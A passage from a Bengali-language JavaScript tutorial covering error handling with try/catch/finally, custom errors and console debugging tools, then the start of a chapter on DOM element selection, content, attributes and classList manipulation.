let error = new Error("Something went wrong");

console.log(error);
Error: Something went wrong
14.10 Error-এর গুরুত্বপূর্ণ Properties
একটি Error object-এর গুরুত্বপূর্ণ properties:
14.10 JavaScriptRun
let error = new Error("Invalid username");

console.log(error.name);
console.log(error.message);
console.log(error.stack);

Output-এর structure হবে এরকম:

Error Invalid username Error: Invalid username at ...
📌 তিনটি গুরুত্বপূর্ণ property
Propertyকাজ
nameError-এর নাম
messageError-এর description
stackError কোথা থেকে এসেছে তার trace
Part 02 — Exception Handling: try, catch, finally & throw (14.11 – 14.26)
14.11 try...catch
JavaScript-এ error handle করার সবচেয়ে গুরুত্বপূর্ণ system হলো:
14.11 JavaScriptRun
try {
    // risky code
} catch (error) {
    // error handling
}
💡 Example
14.11 JavaScriptRun
try {
    console.log(userName);
} catch (error) {
    console.log("Something went wrong!");
}
Text
Something went wrong!

এখানে program পুরোপুরি crash না করে catch block-এ চলে গেছে।

14.12 catch-এর Error Object

আমরা error সম্পর্কে information দেখতে পারি।

14.12 JavaScriptRun
try {
    console.log(userName);
} catch (error) {
    console.log(error.name);
    console.log(error.message);
}
ReferenceError userName is not defined
14.13 try...catch কীভাবে কাজ করে?

ধরো:

14.13 JavaScriptRun
try {
    console.log("Step 1");

    console.log(userName);

    console.log("Step 3");
} catch (error) {
    console.log("Error caught!");
}
Step 1 Error caught!

Step 3 execute হবে না।

কারণ error হওয়ার পর JavaScript সরাসরি catch block-এ চলে যায়।

14.14 finally

finally block error হোক বা না হোক, সাধারণত execute হয়।

Syntax:

14.14 JavaScriptRun
try {

} catch (error) {

} finally {

}

Example:

14.14 JavaScriptRun
try {
    console.log("Trying...");
} catch (error) {
    console.log("Error!");
} finally {
    console.log("Finished!");
}
Trying... Finished!
Error হলে:
14.14 JavaScriptRun
try {
    console.log(userName);
} catch (error) {
    console.log("Error!");
} finally {
    console.log("Finished!");
}
Error! Finished!
14.15 Real-Life Example — Database Connection

ধরো application database-এর সাথে connection করছে।

14.15 JavaScriptRun
try {
    console.log("Connecting to database...");

    throw new Error("Database connection failed");

} catch (error) {
    console.log("Database error:", error.message);

} finally {
    console.log("Connection process finished.");
}
Connecting to database... Database error: Database connection failed Connection process finished.
14.16 throw

আমরা নিজেরাও manually error তৈরি করতে পারি।

14.16 JavaScriptRun
throw new Error("Invalid data");
Error: Invalid data
14.17 throw + try...catch
14.17 JavaScriptRun
try {
    throw new Error("Something went wrong");
} catch (error) {
    console.log(error.message);
}
Text
Something went wrong
14.18 User Input Validation

throw বাস্তবে validation-এর সময় অনেক useful।

14.18 JavaScriptRun
function registerUser(username) {

    if (!username) {
        throw new Error("Username is required");
    }

    console.log("User registered:", username);
}

try {
    registerUser("");
} catch (error) {
    console.log(error.message);
}
Text
Username is required
14.19 Real-Life Login Example
14.19 JavaScriptRun
function login(username, password) {

    if (!username) {
        throw new Error("Username is required");
    }

    if (!password) {
        throw new Error("Password is required");
    }

    console.log("Login successful");
}

try {
    login("shariar", "");
} catch (error) {
    console.log("Login failed:", error.message);
}
Text
Login failed: Password is required
14.20 Custom Error

নিজের application-এর জন্য custom error class তৈরি করা যায়।

14.20 JavaScriptRun
class ValidationError extends Error {

    constructor(message) {
        super(message);

        this.name = "ValidationError";
    }

}

এখন:

14.20 JavaScriptRun
throw new ValidationError("Email is invalid");
ValidationError: Email is invalid
14.21 Custom Error ব্যবহার
14.21 JavaScriptRun
class ValidationError extends Error {
    constructor(message) {
        super(message);
        this.name = "ValidationError";
    }
}

function register(email) {

    if (!email.includes("@")) {
        throw new ValidationError("Invalid email");
    }

    console.log("Registration successful");
}

try {
    register("hello.com");
} catch (error) {
    console.log(error.name);
    console.log(error.message);
}
ValidationError Invalid email
14.22 instanceof দিয়ে Error Check

Chapter 11-এ আমরা instanceof দেখেছি।

এখানেও ব্যবহার করা যায়।

14.22 JavaScriptRun
try {
    throw new TypeError("Wrong type");
} catch (error) {

    if (error instanceof TypeError) {
        console.log("Type error detected");
    }

}
Type error detected
14.23 Multiple Error Handling

একাধিক ধরনের error আলাদাভাবে handle করা যায়।

14.23 JavaScriptRun
try {

    let user = null;

    console.log(user.name);

} catch (error) {

    if (error instanceof TypeError) {
        console.log("Type problem!");

    } else if (error instanceof ReferenceError) {
        console.log("Reference problem!");

    } else {
        console.log("Unknown error!");
    }

}
Type problem!
14.24 Optional Chaining দিয়ে Error এড়ানো

Chapter 3-এ আমরা ?. দেখেছি।

এটা অনেক ক্ষেত্রে TypeError এড়াতে সাহায্য করে।
14.24 JavaScriptRun
let user = null;

console.log(user?.name);
Text
undefined

যেখানে:

14.24 JavaScriptRun
console.log(user.name);
এটি TypeError দিতে পারে।
📌 কিন্তু মনে রাখবে

?. error handling-এর complete replacement নয়।

এটি শুধু নির্দিষ্ট null/undefined access safely handle করে।

14.25 Nullish Coalescing

?? দিয়ে fallback value দেওয়া যায়।

14.25 JavaScriptRun
let username = null;

let displayName = username ?? "Guest";

console.log(displayName);
Text
Guest

এটাও application crash এড়ানোর ক্ষেত্রে useful।

14.26 finally কখন বেশি ব্যবহার হয়?

finally সাধারণত cleanup operation-এর জন্য useful।

যেমন:

  • Database connection cleanup
  • File cleanup
  • Loading state বন্ধ করা
  • Resource release

Example:

14.26 JavaScriptRun
let loading = true;

try {
    console.log("Fetching data...");
} catch (error) {
    console.log("Error!");
} finally {
    loading = false;
    console.log("Loading finished");
}
Text
Fetching data...
Loading finished
Part 03 — Modern Debugging & Console API (14.27 – 14.37)
14.27 Debugging কী?

Debugging হলো program-এর problem খুঁজে বের করে ঠিক করার process।

Real life:

গাড়ি start হচ্ছে না → mechanic কারণ খুঁজছে → problem identify → repair

Programming:

Website কাজ করছে না → developer code inspect করছে → bug identify → fix
14.28 console.log() দিয়ে Debugging

সবচেয়ে basic debugging technique:

14.28 JavaScriptRun
let price = 100;
let quantity = 3;

console.log(price);
console.log(quantity);

let total = price * quantity;

console.log(total);
Text
100
3
300

এভাবে বুঝতে পারবে কোন stage-এ value ভুল হচ্ছে।

14.29 Better console.log()

এভাবে:

14.29 JavaScriptRun
let price = 100;
let quantity = 3;

console.log("Price:", price);
console.log("Quantity:", quantity);

let total = price * quantity;

console.log("Total:", total);
Text
Price: 100
Quantity: 3
Total: 300

এটা debugging-এর জন্য অনেক পরিষ্কার।

14.30 console.error()
Error message দেখাতে:
14.30 JavaScriptRun
console.error("Database connection failed");

Browser console-এ এটি error হিসেবে দেখাবে।

14.31 console.warn()
Warning:
14.31 JavaScriptRun
console.warn("Password is weak");

এটি developer-কে warning দেয়।

14.32 console.table()

Array of objects debug করতে এটি অসাধারণ useful।

14.32 JavaScriptRun
let students = [
    {
        name: "Shariar",
        age: 23,
        department: "CSE"
    },
    {
        name: "Rahim",
        age: 22,
        department: "CSE"
    }
];

console.table(students);

Browser console-এ table format-এ দেখাবে।

এটি বড় data debug করার সময় খুব useful।

14.33 console.dir()

Object-এর structure inspect করতে:

14.33 JavaScriptRun
let user = {
    name: "Shariar",
    skills: ["HTML", "CSS", "JavaScript"]
};

console.dir(user);

Browser DevTools-এ object structure expand করে দেখতে পারবে।

14.34 console.time() এবং console.timeEnd()

কোনো code কত সময় নিচ্ছে তা measure করা যায়।

14.34 JavaScriptRun
console.time("Loop");

for (let i = 0; i < 1000000; i++) {
    // work
}

console.timeEnd("Loop");

Output example:

Text
Loop: 5.123ms

সময় machine/browser অনুযায়ী পরিবর্তিত হবে।

14.35 console.count()

কোনো code কতবার execute হচ্ছে দেখতে:

14.35 JavaScriptRun
function test() {
    console.count("test function");
}

test();
test();
test();
Text
test function: 1
test function: 2
test function: 3

Debugging-এর জন্য useful।

14.36 console.assert()

কোনো condition false হলে message দেখাবে।

14.36 JavaScriptRun
let age = 15;

console.assert(age >= 18, "User must be 18 or older");
Text
Assertion failed: User must be 18 or older

যদি:

14.36 JavaScriptRun
let age = 20;

console.assert(age >= 18, "User must be 18 or older");

তাহলে সাধারণত কোনো assertion message দেখাবে না।

14.37 console.trace()

কোন function call chain থেকে code এসেছে তা দেখতে:

14.37 JavaScriptRun
function first() {
    second();
}

function second() {
    console.trace();
}

first();

Console-এ call stack দেখা যাবে।

এটি complex application debugging-এ useful।

Part 04 — Browser DevTools, Breakpoints & Call Stack (14.38 – 14.43)
14.38 Browser DevTools

JavaScript developer হিসেবে Browser DevTools অবশ্যই জানতে হবে।

Chrome-এ:

Right Click → Inspect → Console

অথবা:

Text
F12
14.39 DevTools-এর গুরুত্বপূর্ণ অংশ
Toolকাজ
ConsoleError/output/debug
SourcesJavaScript files
NetworkAPI/request
ElementsHTML/CSS
ApplicationStorage/Cookies
PerformancePerformance analysis
MemoryMemory analysis
14.40 Breakpoint

ধরো:

14.40 JavaScriptRun
function calculate() {

    let price = 100;
    let quantity = 3;

    let total = price * quantity;

    console.log(total);
}

calculate();

Sources panel-এ let total = ... লাইনে breakpoint বসালে JavaScript ওই line-এ execution pause করতে পারে।

তারপর তুমি variable-এর value দেখতে পারবে।

14.41 debugger

Code-এর মধ্যেই breakpoint দিতে পারো:

14.41 JavaScriptRun
function calculate() {

    let price = 100;
    let quantity = 3;

    debugger;

    let total = price * quantity;

    console.log(total);
}

calculate();

Browser DevTools খোলা থাকলে debugger line-এ execution pause করতে পারে।

14.42 Call Stack

ধরো:

14.42 JavaScriptRun
function one() {
    two();
}

function two() {
    three();
}

function three() {
    console.log("Hello");
}

one();

Call sequence:

one() ↓ two() ↓ three()

এটাকে Call Stack দিয়ে track করা যায়।

Error হলে stack trace দেখে বোঝা যায় কোন function chain-এর মাধ্যমে error এসেছে।
14.43 Scope Debugging

ধরো:

14.43 JavaScriptRun
let globalValue = 100;

function test() {

    let localValue = 50;

    console.log(globalValue);
    console.log(localValue);
}

test();

Debugger-এর Scope section-এ দেখতে পারবে:

Text
Local Scope
global Scope

এতে variable কোথা থেকে এসেছে বোঝা সহজ হয়।

Part 05 — Advanced Error Handling, Best Practices & Mini Project (14.44 – 14.54)
14.44 Defensive Programming

Defensive Programming মানে হলো আগে থেকেই সম্ভাব্য ভুল situation চিন্তা করে code লেখা।

খারাপ:

14.44 JavaScriptRun
function calculateTotal(price, quantity) {
    return price * quantity;
}

যদি:

14.44 JavaScriptRun
calculateTotal();

তাহলে result:

Text
NaN

আরও defensive:

14.44 JavaScriptRun
function calculateTotal(price, quantity) {

    if (typeof price !== "number") {
        throw new TypeError("Price must be a number");
    }

    if (typeof quantity !== "number") {
        throw new TypeError("Quantity must be a number");
    }

    return price * quantity;
}

এখন:

14.44 JavaScriptRun
try {
    console.log(calculateTotal("100", 2));
} catch (error) {
    console.log(error.message);
}
Text
Price must be a number
14.45 Real Project Example — API Response

ধরো backend থেকে user data আসছে।

14.45 JavaScriptRun
let response = {
    user: {
        name: "Shariar"
    }
};

console.log(response.user.name);

কিন্তু কোনো সময় backend response হতে পারে:

14.45 JavaScriptRun
let response = {};

তখন:

14.45 JavaScriptRun
console.log(response.user.name);
সমস্যা হতে পারে।

Safe:

14.45 JavaScriptRun
console.log(response.user?.name);
Text
undefined
14.46 API Error Handling-এর Basic Pattern

বাস্তবে asynchronous API handling আমরা পরে Promise/async/await chapter-এ বিস্তারিত করব।

এখন basic idea:

14.46 JavaScriptRun
try {

    let data = getData();

    console.log(data);

} catch (error) {

    console.error("Failed:", error.message);

}
14.47 Error.cause

একটি error-এর original cause অন্য error হিসেবে attach করা যায়।

14.47 JavaScriptRun
try {

    throw new Error("Database unavailable");

} catch (error) {

    throw new Error("Failed to load user data", {
        cause: error
    });

}

এখানে outer error-এর:

14.47 JavaScriptRun
error.cause

এর মধ্যে original error থাকতে পারে।

এটি বড় application-এর error chain বুঝতে useful।

14.48 AggregateError
একাধিক error একসাথে represent করার জন্য AggregateError ব্যবহার করা যায়।
14.48 JavaScriptRun
let errors = [
    new Error("Database failed"),
    new Error("API failed"),
    new Error("Cache failed")
];

let aggregate = new AggregateError(
    errors,
    "Multiple operations failed"
);

console.log(aggregate);

এর মধ্যে multiple errors থাকবে।

14.49 Error Handling-এর Real-Life E-Commerce Example

ধরো আমরা product order করছি।

14.49 JavaScriptRun
function placeOrder(product, quantity) {

    if (!product) {
        throw new Error("Product is required");
    }

    if (quantity <= 0) {
        throw new Error("Quantity must be greater than 0");
    }

    return `Order placed: ${product} x ${quantity}`;
}

ব্যবহার:

14.49 JavaScriptRun
try {

    let result = placeOrder("Laptop", 2);

    console.log(result);

} catch (error) {

    console.error("Order failed:", error.message);

}
Text
Order placed: Laptop x 2

ভুল input:

14.49 JavaScriptRun
try {

    let result = placeOrder("Laptop", 0);

    console.log(result);

} catch (error) {

    console.error("Order failed:", error.message);

}
Text
Order failed: Quantity must be greater than 0
14.50 কখন try...catch ব্যবহার করবে?

সব code-এর চারপাশে try...catch দেওয়া উচিত নয়।

বিশেষ করে যেখানে failure হওয়ার সম্ভাবনা আছে সেখানে ব্যবহার করা ভালো।

যেমন:

API request ↓ JSON parsing ↓ File operation ↓ User input validation ↓ Database operation ↓ External service
14.51 Bad Error Handling

এভাবে করা ঠিক নয়:

14.51 JavaScriptRun
try {
    riskyFunction();
} catch (error) {
}

কারণ error silently ignore হয়ে যাচ্ছে।

এটা debugging কঠিন করে দেয়।

Better:

14.51 JavaScriptRun
try {
    riskyFunction();
} catch (error) {
    console.error("Operation failed:", error);
}
14.52 Error Hide না করে Properly Handle করা

খারাপ:

14.52 JavaScriptRun
try {
    loginUser();
} catch (error) {
    console.log("Error");
}

ভালো:

14.52 JavaScriptRun
try {
    loginUser();
} catch (error) {

    console.error("Login failed:", {
        name: error.name,
        message: error.message
    });

}
14.53 User-এর সামনে Technical Error দেখানো উচিত?

সবসময় না।

Developer console:

TypeError: Cannot read properties of undefined

User-এর জন্য:

Something went wrong. Please try again.

অর্থাৎ:

Developer → detailed error User → friendly message
এটা professional application-এর গুরুত্বপূর্ণ practice।
14.54 Complete Mini Project — Student Registration

এখন সব concept একসাথে ব্যবহার করি।

14.54 JavaScriptRun
class ValidationError extends Error {

    constructor(message) {
        super(message);
        this.name = "ValidationError";
    }

}

function registerStudent(name, age, email) {

    if (!name) {
        throw new ValidationError("Name is required");
    }

    if (typeof age !== "number") {
        throw new TypeError("Age must be a number");
    }

    if (age < 18) {
        throw new ValidationError("Student must be at least 18");
    }

    if (!email.includes("@")) {
        throw new ValidationError("Invalid email");
    }

    return {
        name,
        age,
        email
    };
}

try {

    let student = registerStudent(
        "Shariar",
        23,
        "shariar@example.com"
    );

    console.table(student);

} catch (error) {

    console.error(error.name);
    console.error(error.message);

}
Text
name     Shariar
age      23
email    shariar@example.com
Part 06 — Must Know, Quick Cheat Sheet, Practice Lab & Final Summary
MUST KNOW 🔥 14.55 Must Know

Chapter 14 থেকে অবশ্যই জানতে হবে:

Error
JavaScriptRun
Error
SyntaxError
ReferenceError
TypeError
RangeError
URIError
AggregateError
Error Handling
JavaScriptRun
try
catch
finally
throw
Error Object
JavaScriptRun
error.name
error.message
error.stack
error.cause
Custom Error
JavaScriptRun
class MyError extends Error {}
Debugging
JavaScriptRun
console.log()
console.error()
console.warn()
console.table()
console.dir()
console.time()
console.timeEnd()
console.count()
console.assert()
console.trace()
debugger
DevTools
Console Sources Network Elements Application Performance Memory
CHEAT SHEET 🧠 Quick Cheat Sheet
ConceptExample
Error createnew Error("Failed")
Throw errorthrow new Error()
Handletry...catch
Cleanupfinally
Error nameerror.name
Error messageerror.message
Stackerror.stack
Custom errorclass MyError extends Error
Debug outputconsole.log()
Debug tableconsole.table()
Warningconsole.warn()
Debug breakpointdebugger
Type checkerror instanceof TypeError
PRACTICE LAB 📝 Practice Set — Chapter 14

Practice 1

এমন একটি function তৈরি করো:

JavaScriptRun
divide(a, b)

যেখানে b = 0 হলে:

Text
Cannot divide by zero

error throw করবে।

Practice 2

একটি:

JavaScriptRun
registerUser()

function তৈরি করো যেখানে:

  • username required
  • email required
  • password minimum 8 characters

না হলে custom error throw করবে।

Practice 3

এই data:

JavaScriptRun
let students = [
    { name: "Rahim", marks: 80 },
    { name: "Karim", marks: 75 },
    { name: "Shariar", marks: 90 }
];

console.table() দিয়ে দেখাও।

Practice 4

console.time() ব্যবহার করে 1 থেকে 1,000,000 পর্যন্ত loop-এর execution time বের করো।

Practice 5

একটি custom error তৈরি করো:

JavaScriptRun
class InsufficientBalanceError extends Error

এবং একটি:

JavaScriptRun
withdraw(balance, amount)

function তৈরি করো।

Balance-এর চেয়ে amount বেশি হলে error throw করবে।

SUMMARY 🎯 Chapter 14 Final Summary — Error Handling Architecture
এই chapter-এর মূল flow মনে রাখো:
Problem ↓ Error ↓ Detect ↓ try ↓ catch ↓ Handle ↓ finally ↓ Cleanup

আর developer হিসেবে:

Bug ↓ Debug ↓ Console ↓ DevTools ↓ Breakpoint ↓ Inspect Variables ↓ Find Cause ↓ Fix
📌 সবচেয়ে গুরুত্বপূর্ণ ধারণা
Error Handling = application-এর error properly handle করা।
Debugging = error/bug-এর আসল কারণ খুঁজে বের করা।
NEXT CHAPTER 📘 Chapter 15 Preview — DOM (Document Object Model)

এখন JavaScript-এর পরবর্তী গুরুত্বপূর্ণ ধাপ হলো Chapter 15 — DOM (Document Object Model), যেখানে আমরা JavaScript দিয়ে HTML page-এর element select, create, change, delete এবং dynamically manipulate করা শিখব।

Chapter 15
↑ Index
DOM — Document Object Model — ডম ম্যানিপুলেশন ও এপিআই
Total Sections
78 Modules + Practice
Curriculum Part
Part 09 — Browser Environment & DOM
Core Mechanics
Tree Traversal, Query Selection, Node Lifecycle & classList
Reference Standard
WHATWG DOM Standard / ECMAScript 2026

DOM — Document Object Model — HTML-এর সাথে JavaScript-এর যোগাযোগ

এখন থেকে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ practical অংশগুলোর একটি শুরু হচ্ছে — DOM (Document Object Model)। এতদিন আমরা JavaScript-এর ভিতরের language concepts শিখেছি। এখন শিখব কীভাবে JavaScript দিয়ে HTML webpage-এর content, structure, style এবং elements পরিবর্তন করা যায়।

HTML Document  →  Browser DOM Tree (Nodes & Elements)  →  JavaScript API  →  Interactive Webpage

ব্রাউজারে যেকোনো আধুনিক ডায়নামিক ওয়েব অ্যাপ্লিকেশন বা রিয়্যাক্ট ফ্রেমওয়ার্কের মূল ভিত্তি হলো এই DOM আর্কিটেকচার। 🔥

Part 01 — DOM Architecture, Nodes & the Document Object (15.1 – 15.10)
15.1 DOM কী? — DOM কীভাবে কাজ করে?

DOM = Document Object Model

Browser যখন একটি HTML page load করে, তখন HTML document-কে একটি object-based tree structure হিসেবে তৈরি করে।

ধরো HTML:

15.1 HTMLMarkup
<!DOCTYPE html>
<html>
<head>
    <title>My Page</title>
</head>

<body>

    <h1>Hello World</h1>

    <p>Welcome to JavaScript</p>

    <button>Click Me</button>

</body>
</html>

Browser এটাকে roughly এভাবে চিন্তা করে:

Document │ └── html │ ├── head │ └── title │ └── body │ ├── h1 │ ├── p │ └── button

এই structure-টাই DOM Tree।

15.2 DOM-এর Real-Life Example

ধরো একটি University campus:

University │ ├── CSE Department │ ├── Teacher │ ├── Student │ └── Lab │ └── EEE Department ├── Teacher └── Lab

এখানে:

  • University = root
  • Department = parent
  • Teacher/Student/Lab = child

HTML DOM-ও একই ধরনের hierarchy follow করে।

15.3 JavaScript কেন DOM ব্যবহার করে?

ধরো HTML:

15.3 HTMLMarkup
<h1>Hello</h1>

JavaScript দিয়ে তুমি এটাকে পরিবর্তন করতে পারো:

15.3 JavaScriptRun
document.querySelector("h1").textContent = "Welcome Shariar!";

Browser-এ:

Text
Welcome Shariar!

অর্থাৎ:

HTML ↓ DOM ↓ JavaScript ↓ Change ↓ Updated Webpage
15.4 document` কী?
DOM-এর সবচেয়ে গুরুত্বপূর্ণ object হলো:
15.4 JavaScriptRun
document

document পুরো HTML webpage-কে represent করে।

Example:

15.4 JavaScriptRun
console.log(document);

Browser console-এ পুরো HTML document দেখতে পারবে।

15.5 document.documentElement

পুরো HTML element পাওয়া যায়:

15.5 JavaScriptRun
console.log(document.documentElement);
15.5 HTMLMarkup
<html>...</html>
15.6 document.head

HTML-এর <head>:

15.6 JavaScriptRun
console.log(document.head);
15.6 HTMLMarkup
<head>...</head>
15.7 document.body

HTML-এর <body>:

15.7 JavaScriptRun
console.log(document.body);
15.7 HTMLMarkup
<body>...</body>
15.8 DOM Element কী?

HTML-এর প্রতিটি element DOM-এর মধ্যে একটি object/node হিসেবে থাকে।

যেমন:

15.8 HTMLMarkup
<h1>Hello</h1>

এখানে:

Text
h1 = DOM Element

JavaScript:

15.8 JavaScriptRun
let heading = document.querySelector("h1");

console.log(heading);
15.9 DOM Node কী?

DOM শুধু HTML element নিয়ে তৈরি নয়।

DOM-এ বিভিন্ন ধরনের node থাকতে পারে।

যেমন:

Document Element Text Comment Attribute

Example:

15.9 HTMLMarkup
<h1>Hello</h1>

এখানে:

h1 → Element Node Hello → Text Node
15.10 DOM Tree

ধরো:

15.10 HTMLMarkup
<body>

    <h1>Hello</h1>

    <p>JavaScript</p>

</body>

DOM Tree:

document │ └── html │ └── body │ ├── h1 │ └── "Hello" │ └── p └── "JavaScript"
Part 02 — DOM Element Selection & Query Selectors (15.11 – 15.24)
15.11 Element Select করা

DOM manipulation-এর প্রথম কাজ হলো:

HTML element-কে JavaScript দিয়ে খুঁজে বের করা।
সবচেয়ে গুরুত্বপূর্ণ methods:
15.11 JavaScriptRun
document.getElementById()
document.getElementsByClassName()
document.getElementsByTagName()
document.querySelector()
document.querySelectorAll()
15.12 getElementById()

HTML:

15.12 HTMLMarkup
<h1 id="title">Hello World</h1>

JavaScript:

15.12 JavaScriptRun
let title = document.getElementById("title");

console.log(title);

এটি <h1> element return করবে।

15.13 ID দিয়ে Content Change

HTML:

15.13 HTMLMarkup
<h1 id="title">Hello World</h1>

JavaScript:

15.13 JavaScriptRun
let title = document.getElementById("title");

title.textContent = "Welcome to JavaScript!";

Browser:

Text
Welcome to JavaScript!
15.14 getElementsByClassName()

HTML:

15.14 HTMLMarkup
<p class="text">One</p>
<p class="text">Two</p>
<p class="text">Three</p>

JavaScript:

15.14 JavaScriptRun
let elements = document.getElementsByClassName("text");

console.log(elements);

এখানে multiple elements পাওয়া যাবে।

এটি একটি HTMLCollection return করে।

15.15 HTMLCollection
15.15 JavaScriptRun
let elements = document.getElementsByClassName("text");

console.log(elements.length);
Text
3

Index দিয়ে access:

15.15 JavaScriptRun
console.log(elements[0]);

প্রথম <p> পাওয়া যাবে।

15.16 getElementsByTagName()

Tag name দিয়ে element খুঁজতে:

15.16 HTMLMarkup
<p>Hello</p>
<p>JavaScript</p>
<p>DOM</p>
15.16 JavaScriptRun
let paragraphs = document.getElementsByTagName("p");

console.log(paragraphs.length);
Text
3
15.17 querySelector()

এটি DOM-এর সবচেয়ে useful selector method-গুলোর একটি।

15.17 JavaScriptRun
document.querySelector(selector);
ID:
15.17 JavaScriptRun
let title = document.querySelector("#title");
Class:
15.17 JavaScriptRun
let box = document.querySelector(".box");
Tag:
15.17 JavaScriptRun
let heading = document.querySelector("h1");
15.18 querySelector()` প্রথম element দেয়

HTML:

15.18 HTMLMarkup
<p class="text">One</p>
<p class="text">Two</p>
<p class="text">Three</p>
15.18 JavaScriptRun
let element = document.querySelector(".text");

console.log(element.textContent);
Text
One

শুধু প্রথম matching element পাওয়া যাবে।

15.19 querySelectorAll()

সব matching element পেতে:

15.19 JavaScriptRun
let elements = document.querySelectorAll(".text");

console.log(elements);

এটি সাধারণত একটি NodeList return করে।

15.20 NodeList
15.20 JavaScriptRun
let elements = document.querySelectorAll(".text");

console.log(elements.length);
Text
3

Index:

15.20 JavaScriptRun
console.log(elements[1].textContent);
Text
Two
15.21 querySelector() বনাম querySelectorAll()
MethodResult
querySelector()প্রথম matching element
querySelectorAll()সব matching element

Example:

15.21 JavaScriptRun
document.querySelector(".box");

→ প্রথম .box

15.21 JavaScriptRun
document.querySelectorAll(".box");

→ সব .box

15.22 CSS Selector ব্যবহার

querySelector()-এ CSS selector ব্যবহার করা যায়।

HTML:

15.22 HTMLMarkup
<div id="container">
    <p class="text">Hello</p>
</div>
ID
15.22 JavaScriptRun
document.querySelector("#container");
Class
15.22 JavaScriptRun
document.querySelector(".text");
Tag
15.22 JavaScriptRun
document.querySelector("p");
Descendant
15.22 JavaScriptRun
document.querySelector("#container p");
15.23 Multiple Selector
15.23 JavaScriptRun
let element = document.querySelector("h1, p");

প্রথম matching h1 অথবা p পাওয়া যাবে।

15.24 Attribute Selector

HTML:

15.24 HTMLMarkup
<input type="email">

JavaScript:

15.24 JavaScriptRun
let input = document.querySelector('input[type="email"]');
Part 03 — Content, Attributes & Form Element Value Manipulation (15.25 – 15.37)
15.25 Content পরিবর্তন — `textContent

HTML:

15.25 HTMLMarkup
<h1 id="title">Old Title</h1>

JavaScript:

15.25 JavaScriptRun
document.getElementById("title").textContent = "New Title";

Browser:

Text
New Title
15.26 innerHTML

HTML:

15.26 HTMLMarkup
<div id="box"></div>

JavaScript:

15.26 JavaScriptRun
document.getElementById("box").innerHTML = "<h2>Hello</h2>";

এখন HTML হবে:

15.26 HTMLMarkup
<div id="box">
    <h2>Hello</h2>
</div>
15.27 textContent বনাম innerHTML
textContentinnerHTML
Text set করেHTML set করতে পারে
HTML parse করে নাHTML parse করে
সাধারণত saferUser input-এর ক্ষেত্রে সাবধান
Plain text-এর জন্য ভালোDynamic HTML-এর জন্য useful

Example:

15.27 JavaScriptRun
element.textContent = "<b>Hello</b>";

Browser:

Text
<b>Hello</b>

কিন্তু:

15.27 JavaScriptRun
element.innerHTML = "<b>Hello</b>";

Browser:

Hello (bold)

15.28 innerText
15.28 JavaScriptRun
element.innerText

এটি user-visible text-এর সাথে বেশি সম্পর্কিত।

Example:

15.28 JavaScriptRun
let text = document.querySelector("p");

console.log(text.innerText);
📌 সাধারণভাবে মনে রাখো:
textContent → DOM-এর text innerText → rendered/visible text-এর দিকে বেশি focused innerHTML → HTML structure সহ
15.29 Element-এর Attribute

HTML:

15.29 HTMLMarkup
<img id="photo" src="old.jpg" alt="Old">

JavaScript:

15.29 JavaScriptRun
let image = document.getElementById("photo");

console.log(image.src);
console.log(image.alt);
15.30 getAttribute()
15.30 JavaScriptRun
let image = document.querySelector("img");

console.log(image.getAttribute("src"));
Text
old.jpg
15.31 setAttribute()
15.31 JavaScriptRun
image.setAttribute("src", "new.jpg");

এখন:

15.31 HTMLMarkup
<img src="new.jpg">
15.32 hasAttribute()
15.32 JavaScriptRun
let image = document.querySelector("img");

console.log(image.hasAttribute("alt"));
Text
true
15.33 removeAttribute()
15.33 JavaScriptRun
image.removeAttribute("alt");

এখন alt attribute remove হয়ে যাবে।

15.34 Direct Property দিয়ে Attribute পরিবর্তন

অনেক common attribute সরাসরি property দিয়েও পরিবর্তন করা যায়।

15.34 JavaScriptRun
let image = document.querySelector("img");

image.src = "new.jpg";
image.alt = "New image";
15.35 Input Value

HTML:

15.35 HTMLMarkup
<input id="username" type="text">

JavaScript:

15.35 JavaScriptRun
let input = document.getElementById("username");

input.value = "Shariar";

Input box-এ:

Text
Shariar

দেখাবে।

Value পড়তে:

15.35 JavaScriptRun
console.log(input.value);
15.36 Checkbox

HTML:

15.36 HTMLMarkup
<input id="agree" type="checkbox">

JavaScript:

15.36 JavaScriptRun
let checkbox = document.getElementById("agree");

console.log(checkbox.checked);
Text
false

Check করলে:

15.36 JavaScriptRun
checkbox.checked = true;
15.37 Select Option

HTML:

15.37 HTMLMarkup
<select id="department">

    <option value="cse">CSE</option>
    <option value="eee">EEE</option>

</select>

JavaScript:

15.37 JavaScriptRun
let department = document.getElementById("department");

console.log(department.value);
Part 04 — CSS Styling & ClassList Dynamic Manipulation (15.38 – 15.45)
15.38 CSS পরিবর্তন — `style

HTML:

15.38 HTMLMarkup
<h1 id="title">Hello</h1>

JavaScript:

15.38 JavaScriptRun
let title = document.getElementById("title");

title.style.color = "red";
title.style.fontSize = "40px";

এখন heading লাল এবং বড় হবে।

15.39 CSS Property Naming

CSS:

15.39 CSSStylesheet
  background-color: blue;

JavaScript:

15.39 JavaScriptRun
element.style.backgroundColor = "blue";

CSS:

15.39 CSSStylesheet
  font-size: 30px;

JavaScript:

15.39 JavaScriptRun
element.style.fontSize = "30px";

CSS:

15.39 CSSStylesheet
  margin-top: 20px;

JavaScript:

15.39 JavaScriptRun
element.style.marginTop = "20px";

অর্থাৎ CSS-এর kebab-case → JavaScript-এ camelCase

15.40 classList

Direct style পরিবর্তনের চেয়ে অনেক সময় CSS class ব্যবহার করা ভালো।

HTML:

15.40 HTMLMarkup
<div id="box">Hello</div>

CSS:

15.40 CSSStylesheet
.active {
      background-color: blue;
      color: white;
}

JavaScript:

15.40 JavaScriptRun
let box = document.getElementById("box");

box.classList.add("active");
15.41 classList.add()
15.41 JavaScriptRun
element.classList.add("active");

একটি class যোগ করে।

15.42 classList.remove()
15.42 JavaScriptRun
element.classList.remove("active");

Class remove করে।

15.43 classList.toggle()
15.43 JavaScriptRun
element.classList.toggle("active");

যদি class থাকে:

Text
remove

না থাকলে:

Text
add

এটি খুব useful।

15.44 classList.contains()
15.44 JavaScriptRun
console.log(element.classList.contains("active"));
Text
true

অথবা:

Text
false
15.45 classList.replace()
15.45 JavaScriptRun
element.classList.replace("old", "new");

একটি class অন্য class দিয়ে replace করবে।

Part 05 — Element Creation, Insertion, Removal & Cloning (15.46 – 15.57)
15.46 Element তৈরি করা

JavaScript দিয়ে নতুন HTML element তৈরি করা যায়।

15.46 JavaScriptRun
let paragraph = document.createElement("p");

এখন paragraph একটি নতুন DOM element।

15.47 নতুন Element-এর Content
15.47 JavaScriptRun
let paragraph = document.createElement("p");

paragraph.textContent = "Hello JavaScript";

কিন্তু এখনও webpage-এ দেখা যাবে না।

কারণ element-টাকে DOM-এ add করতে হবে।

15.48 append()

HTML:
